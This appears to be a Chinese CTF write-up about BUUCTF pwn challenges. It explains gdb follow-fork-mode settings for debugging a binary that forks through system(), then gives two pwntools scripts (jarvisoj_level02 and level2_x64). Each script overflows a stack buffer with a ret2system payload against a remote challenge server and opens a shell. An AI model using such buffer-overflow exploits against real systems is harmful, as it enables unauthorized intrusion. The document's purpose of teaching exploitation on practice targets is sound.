#

image-20240121190841695

这题其实蛮简单的但是涉及到了gdb的多线程调试,故记录一下。

尝试gdb调试,提示gdb开始调试子进程,然后子进程退出,打开ida查看一下,可以看到在vulnerable_function()中,在system("echo Input:");才进入漏洞函数,那么我们就需要又

image-20240121192806633

由于system函数会打开一个shell执行命令,会folk一个子进程,因此我们需要使gdb一只调试主进程,

image-20240121192936732

gdb多线程调试常用操作

GDB调试多进程的命令介绍和演示 - 刘跑跑 - 博客园 (cnblogs.com)

info inferiors 查看所有进程
inferiors 2 切换到编号为2的进程
detach inferiors 2 detach掉编号为2的进程
kill inferiors 2 kill掉编号为2的进程
set follow-fork-mode parent 只调试父进程(GDB默认)
set follow-fork-mode child 只调试子进程
show follow-fork-mode 查看follow-fork-mode当前值
set detach-on-fork on 只调试一个进程,父进程或子进程(GDB默认)
set detach-on-fork off 同时调试父子进程,另一个进程阻塞在fork位置
show detach-on-fork 查看detach-on-fork当前值
set schedule-multiple off 只有当前进程会执行,其他进程挂起(GDB默认)
set schedule-multiple on 所有的进程都会正常执行
show schedule-multiple 查看schedule-multiple当前值

set follow-fork-mode parent,之后就可以愉快cyclic

image-20240121191843726

jarvisoj_level02

exp

1
2
3
4
5
6
7
8
9
10
#! /usr/bin/env python3
from pwn import *
#sh=process("./jarvisoj_level02")
sh=remote("node5.buuoj.cn",27147)
hint_addr=0x0804A024
system_addr=0x0804849E
pattern=140
payload=b'a'*pattern+p32(system_addr)+p32(hint_addr)+p32(hint_addr)
sh.sendline(payload)
sh.interactive()

level2_x64

exp

1
2
3
4
5
6
7
#! /usr/bin/env python3
from pwn import *
r = remote("node5.buuoj.cn",26522)

payload = b'a'*(128+8)+p64(0x4006b3)+p64(0x600A90)+p64(0x4004C0)
r.sendline(payload)
r.interactive()